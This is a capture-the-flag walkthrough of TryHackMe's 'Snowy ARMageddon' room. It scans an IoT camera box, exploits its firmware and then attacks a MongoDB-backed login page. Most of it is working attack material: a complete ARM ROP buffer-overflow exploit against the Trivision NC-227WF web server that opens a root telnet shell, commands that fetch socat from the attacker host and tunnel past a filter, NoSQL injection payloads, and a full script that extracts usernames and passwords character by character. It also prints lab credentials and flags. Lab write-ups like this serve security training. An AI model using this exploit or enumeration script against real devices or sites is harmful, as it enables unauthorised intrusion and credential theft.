Introduction
“Snowy ARMageddon” is a free, insane THM challenge, part of the Advent of Cyber ‘23 Side Quest event. This Room is the second of four. During the AoC 23 event, the access to the room had to be gained via a key. The way to obtain the key is covered here. The challenge is based on a box hosting an IoT service.
Port Scans
To begin the enumeration of this machine, I started off with a simple stealth scan (as per the Yeti hint) on all ports.
1
2
3
4
5
6
7
8
9
10
11
12
[niik@tuf504]-[~/] sudo nmap -sS -p- 10.10.34.245
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-10 11:50 GMT
Nmap scan report for NC-227WF-HD-720P (10.10.34.245)
Host is up (0.030s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet
8080/tcp open http-proxy
50628/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 20.41 seconds
Then, I performed a more detailed scan on all open ports and got the following results:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
[niik@tuf504]-[~/] sudo nmap -sSCV -A -O -T4 -p 22,23,8080,50628 10.10.74.64
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-10 21:36 GMT
Nmap scan report for 10.10.74.64
Host is up (0.027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3f:df:28:8f:0a:3f:c9:31:f5:aa:e0:cb:29:f5:18:62 (RSA)
| 256 eb:4b:55:e0:8c:52:34:3c:d1:d1:6e:8b:de:4e:7b:ff (ECDSA)
|_ 256 b3:6c:cd:12:3d:b6:75:13:8a:e6:7a:1a:bd:98:a3:c4 (ED25519)
23/tcp open tcpwrapped
8080/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: TryHackMe | Access Forbidden - 403
|_http-server-header: Apache/2.4.57 (Debian)
50628/tcp open unknown
| fingerprint-strings:
| GetRequest:
| HTTP/1.0 302 Redirect
| Server: Webs
| Date: Wed Dec 31 19:15:07 1969
| Pragma: no-cache
| Cache-Control: no-cache
| Content-Type: text/html
| Location: http://NC-227WF-HD-720P:50628/default.asp
| <html><head></head><body>
| This document has moved to a new <a href="http://NC-227WF-HD-720P:50628/default.asp">location</a>.
| Please update your documents to reflect the new location.
| </body></html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 400 Page not found
| Server: Webs
| Date: Wed Dec 31 19:15:07 1969
| Pragma: no-cache
| Cache-Control: no-cache
| Content-Type: text/html
| <html><head><title>Document Error: Page not found</title></head>
| <body><h2>Access Error: Page not found</h2>
| when trying to obtain <b>(null)</b><br><p>Bad request type</p></body></html>
| Help, SSLSessionReq:
| HTTP/1.1 400 Page not found
| Server: Webs
| Date: Wed Dec 31 19:15:22 1969
| Pragma: no-cache
| Cache-Control: no-cache
| Content-Type: text/html
| <html><head><title>Document Error: Page not found</title></head>
| <body><h2>Access Error: Page not found</h2>
|_ when trying to obtain <b>(null)</b><br><p>Bad request type</p></body></html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50628-TCP:V=7.94%I=7%D=12/10%Time=65762F5C%P=x86_64-pc-linux-gnu%r(
SF:GetRequest,192,"HTTP/1\.0\x20302\x20Redirect\r\nServer:\x20Webs\r\nDate
SF::\x20Wed\x20Dec\x2031\x2019:15:07\x201969\r\nPragma:\x20no-cache\r\nCac
SF:he-Control:\x20no-cache\r\nContent-Type:\x20text/html\r\nLocation:\x20h
SF:ttp://NC-227WF-HD-720P:50628/default\.asp\r\n\r\n<html><head></head><bo
SF:dy>\r\n\t\tThis\x20document\x20has\x20moved\x20to\x20a\x20new\x20<a\x20
SF:href=\"http://NC-227WF-HD-720P:50628/default\.asp\">location</a>\.\r\n\
SF:t\tPlease\x20update\x20your\x20documents\x20to\x20reflect\x20the\x20new
SF:\x20location\.\r\n\t\t</body></html>\r\n\r\n")%r(HTTPOptions,154,"HTTP/
SF:1\.1\x20400\x20Page\x20not\x20found\r\nServer:\x20Webs\r\nDate:\x20Wed\
SF:x20Dec\x2031\x2019:15:07\x201969\r\nPragma:\x20no-cache\r\nCache-Contro
SF:l:\x20no-cache\r\nContent-Type:\x20text/html\r\n\r\n<html><head><title>
SF:Document\x20Error:\x20Page\x20not\x20found</title></head>\r\n\t\t<body>
SF:<h2>Access\x20Error:\x20Page\x20not\x20found</h2>\r\n\t\twhen\x20trying
SF:\x20to\x20obtain\x20<b>\(null\)</b><br><p>Bad\x20request\x20type</p></b
SF:ody></html>\r\n\r\n")%r(RTSPRequest,154,"HTTP/1\.1\x20400\x20Page\x20no
SF:t\x20found\r\nServer:\x20Webs\r\nDate:\x20Wed\x20Dec\x2031\x2019:15:07\
SF:x201969\r\nPragma:\x20no-cache\r\nCache-Control:\x20no-cache\r\nContent
SF:-Type:\x20text/html\r\n\r\n<html><head><title>Document\x20Error:\x20Pag
SF:e\x20not\x20found</title></head>\r\n\t\t<body><h2>Access\x20Error:\x20P
SF:age\x20not\x20found</h2>\r\n\t\twhen\x20trying\x20to\x20obtain\x20<b>\(
SF:null\)</b><br><p>Bad\x20request\x20type</p></body></html>\r\n\r\n")%r(H
SF:elp,154,"HTTP/1\.1\x20400\x20Page\x20not\x20found\r\nServer:\x20Webs\r\
SF:nDate:\x20Wed\x20Dec\x2031\x2019:15:22\x201969\r\nPragma:\x20no-cache\r
SF:\nCache-Control:\x20no-cache\r\nContent-Type:\x20text/html\r\n\r\n<html
SF:><head><title>Document\x20Error:\x20Page\x20not\x20found</title></head>
SF:\r\n\t\t<body><h2>Access\x20Error:\x20Page\x20not\x20found</h2>\r\n\t\t
SF:when\x20trying\x20to\x20obtain\x20<b>\(null\)</b><br><p>Bad\x20request\
SF:x20type</p></body></html>\r\n\r\n")%r(SSLSessionReq,154,"HTTP/1\.1\x204
SF:00\x20Page\x20not\x20found\r\nServer:\x20Webs\r\nDate:\x20Wed\x20Dec\x2
SF:031\x2019:15:22\x201969\r\nPragma:\x20no-cache\r\nCache-Control:\x20no-
SF:cache\r\nContent-Type:\x20text/html\r\n\r\n<html><head><title>Document\
SF:x20Error:\x20Page\x20not\x20found</title></head>\r\n\t\t<body><h2>Acces
SF:s\x20Error:\x20Page\x20not\x20found</h2>\r\n\t\twhen\x20trying\x20to\x2
SF:0obtain\x20<b>\(null\)</b><br><p>Bad\x20request\x20type</p></body></htm
SF:l>\r\n\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (93%), Linux 3.1 - 3.2 (93%), Linux 3.11 (93%), Linux 3.2 - 4.9 (93%), Linux 3.5 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 23/tcp)
HOP RTT ADDRESS
1 27.40 ms 10.8.0.1
2 27.54 ms 10.10.74.64
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.73 seconds
The Nmap scan reviews that the service running on port 50628 is a web service redirecting all traffic to domain NC-227WF-HD-720P. Therefore, we can add the domain name in /etc/hosts
:
1
[niik@tuf504]-[~/] sudo echo 10.10.34.245 NC-227WF-HD-720P >> /etc/hosts
ROP Attack
From the look of the Web interface on port 50628, we are dealing with an IoT camera. More specifically Trivision NC-22WF.
After a quick search, I found out that the firmware for this device is also part of the ARMX Firmware Emulation Framework. Furthermore, I found a writeup which explains the exploit of this particular Firmware via ROP attack. Even tho the writeup includes an exploit, the IPs are hardcoded in the shellcode, so before trying to modify the provided exploit, my team and I had a look for other existing exploits. This is when we found the following exploit https://github.com/3sjay/sploits/blob/main/trivision_nc227wf_expl.py.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/python
from telnetlib import Telnet
import os, struct, sys, re, socket
import time
##### HELPER FUNCTIONS #####
def pack32(value):
return struct.pack("<I", value) # little byte order
def pack16n(value):
return struct.pack(">H", value) # big/network byte order
def urlencode(buf):
s = ""
for b in buf:
if re.match(r"[a-zA-Z0-9\/]", b) is None:
s += "%%%02X" % ord(b)
else:
s += b
return s
##### HELPER FUNCTIONS FOR ROP CHAINING #####
# function to create a libc gadget
# requires a global variable called libc_base
def libc(offset):
return pack32(libc_base + offset)
# function to represent data on the stack
def data(data):
return pack32(data)
# function to check for bad characters
# run this before sending out the payload
# e.g. detect_badchars(payload, "\x00\x0a\x0d/?")
def detect_badchars(string, badchars):
for badchar in badchars:
i = string.find(badchar)
while i != -1:
sys.stderr.write("[!] 0x%02x appears at position %d\n" % (ord(badchar), i))
i = string.find(badchar, i+1)
##### MAIN #####
if len(sys.argv) != 3:
print("Usage: expl.py <ip> <port>")
sys.exit(1)
ip = sys.argv[1]
port = sys.argv[2]
libc_base = 0x40021000
buf = "A" * 284
#buf += "BBBB"
"""
0x40060b58 <+32>: ldr r0, [sp, #4]
0x40060b5c <+36>: pop {r1, r2, r3, lr}
0x40060b60 <+40>: bx lr
"""
ldr_r0_sp = pack32(0x40060b58)
# 0x00033a98: mov r0, sp; mov lr, pc; bx r3;
mov_r0 = pack32(libc_base + 0x00033a98)
system = pack32(0x4006079c)
buf += ldr_r0_sp
buf += "BBBB"
buf += "CCCC"
#buf += "DDDD"
buf += system
#buf += "EEEE"
buf += mov_r0
buf += "telnetd${IFS}-l/bin/sh;#"
"""
buf += "FFFF"
buf += "GGGG"
buf += "HHHH"
"""
buf += "C" * (400-len(buf))
lang = buf
request = "GET /form/liveRedirect?lang=%s HTTP/1.0\n" % lang + \
"Host: BBBBBBBBBBBB\nUser-Agent: ARM/exploitlab\n\n"
#print request,
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send(request)
s.recv(100)
time.sleep(2)
tn = Telnet(ip, 23)
tn.interact()
Executing the script with the host’s IP and port then opens a Root reverse shell to the system.
1
[niik@tuf504]-[~/] python2 trivision_nc227wf_expl.py 10.10.34.245 50628
After some enumeration, the Username and Passwrod for the web login were then located in /etc/webs/umconfig.txt
:
1
2
3
4
5
6
7
8
9
10
# cat /etc/webs/umconfig.txt
cat /etc/webs/umconfig.txt
TABLE=users
ROW=0
name=admin
password=Y3tiStarCur!ouspassword=admin
group=administrators
prot=0
disable=0
What is the content of the first flag?
- THM{YETI_ON_SCREEN_ELUSIVE_CAMERA_STAR}
NoSQLi Attack
During the event, the filter could be bypasswed by setting an additional path to
/login.php
E.G.:http://IP:8080/login.php/123
However, the machine was updated since then, forcing userts to use a tunnel.
To achieve a tunnel, we first need to upload the needed tools. I this case I used Socat.
1
2
3
[niik@tuf504]-[~/] python -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
10.10.34.245 - - [20/Dec/2023 19:37:43] "GET /socat-armel-static HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
# wget http://10.8.122.23:9090/socat-armel-static
wget http://10.8.122.23:9090/socat-armel-static
Connecting to 10.8.122.23:9090 (10.8.122.23:9090)
# mv socat-armel-static socat
mv socat-armel-static socat
# ./socat -V
./socat -V
socat by Gerhard Rieger and contributors - see www.dest-unreach.org
socat version 1.7.3.2 on May 6 2018 18:26:27
running on Linux version #7 PREEMPT Sun Apr 18 13:52:32 IST 2021, release 2.6.28, machine armv5tejl
...SNIP...
After uploading Socat, we need to free port 50628 by killing webs:
1
2
3
4
5
6
7
8
# ps | grep webs
ps | grep webs
4093 root 888 S grep webs
29363 root 1476 S webs
# kill 29363
kill 29363
#./socat tcp-listen:50628,fork,reuseaddr tcp:10.10.34.245:8080
./socat tcp-listen:50628,fork,reuseaddr tcp:10.10.34.245:8080
Once we kill webs and start the tunnel, we can verify we have access.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[niik@tuf504]-[~/] curl http://10.10.34.245:50628/login.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.57 (Debian) Server at 10.10.34.245 Port 50628</address>
</body></html>
While we can access the web service, we now get 401 Unauthorized
. To authorise ourselves, we can use simple HTTP authentication with the credentials from the previous task.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
[niik@tuf504]-[~/] curl http://admin:Y3tiStarCur\!ouspassword\=[email protected]:50628/login.php
<!DOCTYPE html>
<html lang="en" class="h-full bg-thm-900">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/png" href="https://assets.tryhackme.com/img/favicon.png" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>TryHackMe</title>
<link rel="stylesheet" href="styles.css" />
</head>
<body class="h-full text-white">
<div class="flex min-h-full flex-col justify-center py-12 sm:px-6 lg:px-8">
<div class="sm:mx-auto sm:w-full sm:max-w-md">
<h2 class="mt-6 text-center text-2xl font-bold leading-9 tracking-tight text-gray-100">Cyber Police</h2>
<img class="mx-auto h-40 w-auto" src="badge.svg" alt="Cyber Police">
</div>
<div class="mt-10 sm:mx-auto sm:w-full sm:max-w-[480px]">
<div class="bg-thm-600 px-6 py-12 shadow-lg shadow-black/40 sm:rounded-lg sm:px-12">
<form class="space-y-6" action="#" method="POST">
<div>
<label for="username" class="block text-sm font-medium leading-6 text-gray-100">Username</label>
<div class="mt-2">
<input id="username" name="username" type="text" required class="block w-full rounded-md border-0 py-1.5 text-gray-900 shadow-sm ring-1 ring-inset ring-gray-300 placeholder:text-gray-400 focus:ring-2 focus:ring-inset focus:ring-thm-600 sm:text-sm sm:leading-6">
</div>
</div>
<div>
<label for="password" class="block text-sm font-medium leading-6 text-gray-100">Password</label>
<div class="mt-2">
<input id="password" name="password" type="password" autocomplete="current-password" required class="block w-full rounded-md border-0 py-1.5 text-gray-900 shadow-sm ring-1 ring-inset ring-gray-300 placeholder:text-gray-400 focus:ring-2 focus:ring-inset focus:ring-thm-600 sm:text-sm sm:leading-6">
</div>
</div>
<div>
<button type="submit" class="flex w-full justify-center rounded-md bg-green-500 px-3 py-1.5 text-sm font-semibold leading-6 uppercase text-thm-800 shadow-sm hover:bg-green-400 focus-visible:outline focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-green-600">Sign in</button>
</div>
</form>
<!-- Error message -->
</div>
</div>
</div>
</body>
</html>
After some enumeration, my team and I found out that the backend of the login page uses MongoDB. To further enumerate if the database is vulnerable to NoSQLi, we used MongoMap, and we found that both Username and Password fields are vulnerable.
More about NoSQLi:
https://book.hacktricks.xyz/pentesting-web/nosql-injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
[niik@tuf504]-[~/] python3 mongomap.py -u http://admin:Y3tiStarCur\!ouspassword\=[email protected]:50628/login.php --method post --data "username=test&password=123"
╔═╗╔═╗╔═══╗╔═╗─╔╗╔═══╗╔═══╗╔═╗╔═╗╔═══╗╔═══╗
║║╚╝║║║╔═╗║║║╚╗║║║╔═╗║║╔═╗║║║╚╝║║║╔═╗║║╔═╗║
║╔╗╔╗║║║─║║║╔╗╚╝║║║─╚╝║║─║║║╔╗╔╗║║║─║║║╚═╝║
║║║║║║║║─║║║║╚╗║║║║╔═╗║║─║║║║║║║║║╚═╝║║╔══╝
║║║║║║║╚═╝║║║─║║║║╚╩═║║╚═╝║║║║║║║║╔═╗║║║───
╚╝╚╝╚╝╚═══╝╚╝─╚═╝╚═══╝╚═══╝╚╝╚╝╚╝╚╝─╚╝╚╝───
By Hex_27
[*] v1.0.0
[+] URL can be reached.
[*] Beginning testing phase.
[*] Testing for param username
[i] Attempting Not-Equals Array (param[$ne]) Injection
[+] username is Not-Equals Array (param[$ne]) Injection injectable!
[i] Attempting Regex Array (param[$regex]) Blind Injection
[i] Attempting Where Always True Function Injection
[*] Basic check failed. The rest of this module may not work.
[i] Attempting Where (Function Javascript Evaluation) Blind Injection (JSONStringify)
[*] Basic check failed. The rest of this module may not work.
[i] Attempting Where Always True Injection
[*] Basic check failed. The rest of this module may not work.
[i] Attempting Where (Functionless String) Blind Injection (JSONStringify)
[*] Basic check failed. The rest of this module may not work.
[+] username is injectible.
[?] Continue testing other parameters? [y/N] y
[*] Testing for param password
[i] Attempting Not-Equals Array (param[$ne]) Injection
[+] password is Not-Equals Array (param[$ne]) Injection injectable!
[i] Attempting Regex Array (param[$regex]) Blind Injection
[i] Attempting Where Always True Function Injection
[*] Basic check failed. The rest of this module may not work.
[i] Attempting Where (Function Javascript Evaluation) Blind Injection (JSONStringify)
[*] Basic check failed. The rest of this module may not work.
[i] Attempting Where Always True Injection
[*] Basic check failed. The rest of this module may not work.
[i] Attempting Where (Functionless String) Blind Injection (JSONStringify)
[*] Basic check failed. The rest of this module may not work.
[+] password is injectible.
[*] Test phase completed.
[+] Vulnerable Parameters:
[+] username
[+] - Not-Equals Array (param[$ne]) Injection
[+] password
[+] - Not-Equals Array (param[$ne]) Injection
[i] Attempting to dump data...
[*] Parameter: username
[*] Attemping dump with Not-Equals Array (param[$ne]) Injection on param username
[+] Not-Equals Array (param[$ne]) Injection for username has retrieved:
[+]
[+] For payload: username[$ne]=test&password[$ne]=123
[+]
[+] Status code with the injection is different!
[+] 200 => 302
[+]
[+] New Cookies:
[+] PHPSESSID : 4b171cab8ae1398fadf4b9e00d887a2c
[+]
[*] Parameter: password
[*] Attemping dump with Not-Equals Array (param[$ne]) Injection on param password
[+] Not-Equals Array (param[$ne]) Injection for password has retrieved:
[+]
[+] For payload: username[$ne]=test&password[$ne]=123
[+]
[+] Status code with the injection is different!
[+] 200 => 302
[+]
[+] New Cookies:
[+] PHPSESSID : 9293888685d8f2f95e26a5048a70a4ec
[+]
After we found the vulnerability, we started enumerating the different users and passwords with the use of Nosql-MongoDB-injection-username-password-enumeration. That being said, we did a little modification of the script via the use of Chat-GDB as the original script did not enumerate all usernames.
The original script stops enumerating a string starting with a certain letter the moment it gets one hit.
For example, the script will detect the usernameFrostbite
and then move on to usernames starting with G.
Therefore usernameFrosteau
and other usernames starting with F will be missed.
While the solution underneath is not pretty, it provides a larger list of usernames.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
# Exploit Title: Nosql injection username/password enumeration
# Author: Kalana Sankalpa (Anon LK)
# Websites: https://www.widane.com, https://blogofkalana.wordpress.com
# Blogpost: https://blogofkalana.wordpress.com/2019/11/14/nosql-injection-username-and-password-enumeration/
#!/usr/bin/python
import string
import requests
import argparse
import sys
from colorama import Fore
parser = argparse.ArgumentParser()
parser.add_argument("-u", action='store', metavar="URL", help="Form submission url. Eg: http://example.com/index.php")
parser.add_argument("-up", action='store', metavar="parameter", help="Parameter name of the username. Eg: username, user")
parser.add_argument("-pp", action='store', metavar="parameter", help="Parameter name of the password. Eg: password, pass")
parser.add_argument("-op", action='store', metavar="parameters", help="Other paramters with the values. Separate each parameter with a comma(,). Eg: login:Login, submit:Submit")
parser.add_argument("-ep", action='store', metavar="parameter", help="Parameter that need to enumerate. Eg: username, password")
parser.add_argument("-m", action='store', metavar="Method", help="Method of the form. Eg: GET/POST")
args = parser.parse_args()
if len(sys.argv) == 1:
print(parser.print_help(sys.stderr))
print(Fore.YELLOW + "\nExample: python " + sys.argv[0] + " -u http://example.com/index.php -up username -pp password -ep username -op login:login,submit:submit -m POST")
exit(0)
if args.u:
url = args.u
else:
print(Fore.RED + "Error: please enter URL with -u. ")
exit(0)
if args.up:
userpara = args.up
else:
print(Fore.RED + "Error: please enter User Parameter with -up.")
exit(0)
if args.pp:
passpara = args.pp
else:
print("Error: Fore.RED + please enter Password Parameter with -pp.")
exit(0)
if args.ep:
if args.ep == args.up:
para1 = userpara
para2 = passpara
elif args.ep == args.pp:
para1 = passpara
para2 = userpara
else:
print(Fore.RED + "Error: please enter the valid parameter that need to enumarate")
exit(0)
else:
print(Fore.RED + "Error: please enter the Parameter that need to enumerate with -ep.")
exit(0)
if args.op:
otherpara = "," + args.op
else:
otherpara = ""
if args.m is None:
print(Fore.RED + "Warning: No method given. Using POST as the method. (You can give the method with -m)")
def method(url, para):
if args.m:
if args.m[0] == "p" or args.m[0] == "P":
return requests.post(url, data=para, allow_redirects=False)
elif args.m[0] == "g" or args.m[0] == "G":
return requests.get(url, params=para, allow_redirects=False)
else:
print(Fore.RED + "Error: Invalid method")
exit(0)
else:
return requests.post(url, data=para, allow_redirects=False)
characters = string.printable
for ch in string.printable:
if ch in "$^&*|.+\?":
characters = characters.replace(ch, '')
loop = True
finalout = ""
count = 0
def find_username(start_char, userpass):
for char in characters:
payload = userpass + char
para = {para1 + '[$regex]' : "^" + payload + ".*", para2 + '[$ne]' : '1' + otherpara}
r = method(url, para)
if r.status_code == 302:
print(Fore.YELLOW + "Pattern found: " + payload)
find_username(start_char, payload)
print(Fore.GREEN + para1 + " found: " + userpass)
global count
global finalout
finalout += userpass + "\n"
count += 1
for firstChar in characters:
para = {para1 + '[$regex]' : "^" + firstChar + ".*", para2 + '[$ne]' : '1' + otherpara}
r = method(url, para)
if r.status_code != 302:
print(Fore.MAGENTA + "No pattern starts with '" + firstChar + "'")
continue
print(Fore.GREEN + "Pattern found that starts with '" + firstChar + "'")
find_username(firstChar, firstChar)
if finalout != "":
print("\n" + str(count) + " " + para1 + "(s) found:")
print(Fore.RED + finalout)
else:
print(Fore.RED + "No " + para1 + " found")
for firstChar in characters:
para = {para1 + '[$regex]' : "^" + firstChar + ".*", para2 + '[$ne]' : '1' + otherpara}
r = method(url, para)
if r.status_code != 302:
print(Fore.MAGENTA + "No pattern starts with '" + firstChar + "'")
continue
print(Fore.GREEN + "Pattern found that starts with '" + firstChar + "'")
userpass = firstChar
while True:
found_char = False
for char in characters:
payload = userpass + char
para = {para1 + '[$regex]' : "^" + payload + ".*", para2 + '[$ne]' : '1' + otherpara}
r = method(url, para)
if r.status_code == 302:
print(Fore.YELLOW + "Pattern found: " + payload)
userpass = payload
found_char = True
if not found_char:
break
print(Fore.GREEN + para1 + " found: " + userpass)
finalout += userpass + "\n"
if finalout != "":
print("\n" + str(count) + " " + para1 + "(s) found:")
print(Fore.RED + finalout)
else:
print(Fore.RED + "No " + para1 + " found")
- Enumerating all Usernames.
1
python nosqli-user-pass-enum.py -u http://admin:Y3tiStarCur\!ouspassword\=[email protected]:50628/login.php -up username -pp password -m POST -ep username
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Blizzardson
Frostbite
Frosteau
Frostington
Frostopoulos
Frostova
Grinchenko
Grinchowski
Iciclevich
Northpolinsky
Scroogestein
Sleighburn
Slushinski
Snowbacca
Snowballer
Snownandez
Tinselova
Tinseltooth
- Enumerating all Passwords.
1
python nosqli-user-pass-enum.py -u http://admin:Y3tiStarCur\!ouspassword\=[email protected]:50628/login.php -up username -pp password -m POST -ep password
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
6Ne2HYXUovEIVOEQg2US
7yIcnHu8HC6QCH1MCfHS
advEpXUBKt3bZjk3aHLR
h1y6zpVTOwGYoB95aRnk
jlXUuZKIeCONQQIe92GZ
rCwBuLJPNzmRGExQucTC
tANd8qZ93sFHUBrJhdQj
uwx395sm4GpVfqQ4dUDI
E33v0lTuUVa1ct4sSed1
F6Ymdyzx9C1QeNOcU7FD
HoHoHacked
JZwpMOTmDvVYDq3uSb3t
NlJt6HBZBG3olEphq8gr
ROpPXouppjXNf2pmmT0Q
UZbIt6L41BmLeQJF0gAR
WmLP5OZDiLos16Ie1owB
As we know that Frosteau
is the main target of the Yeti, we can try using that username with the most non-suspicious looking password.
1
Frosteau:HoHoHacked
What is the content of the
yetikey2.txt
file?
- 2-K@bWJ5oHFCR8o%whAvK5qw8Sp$5qf!nCqGM3ksaK
Credits
This room was completed with joint efforts with the following teammates: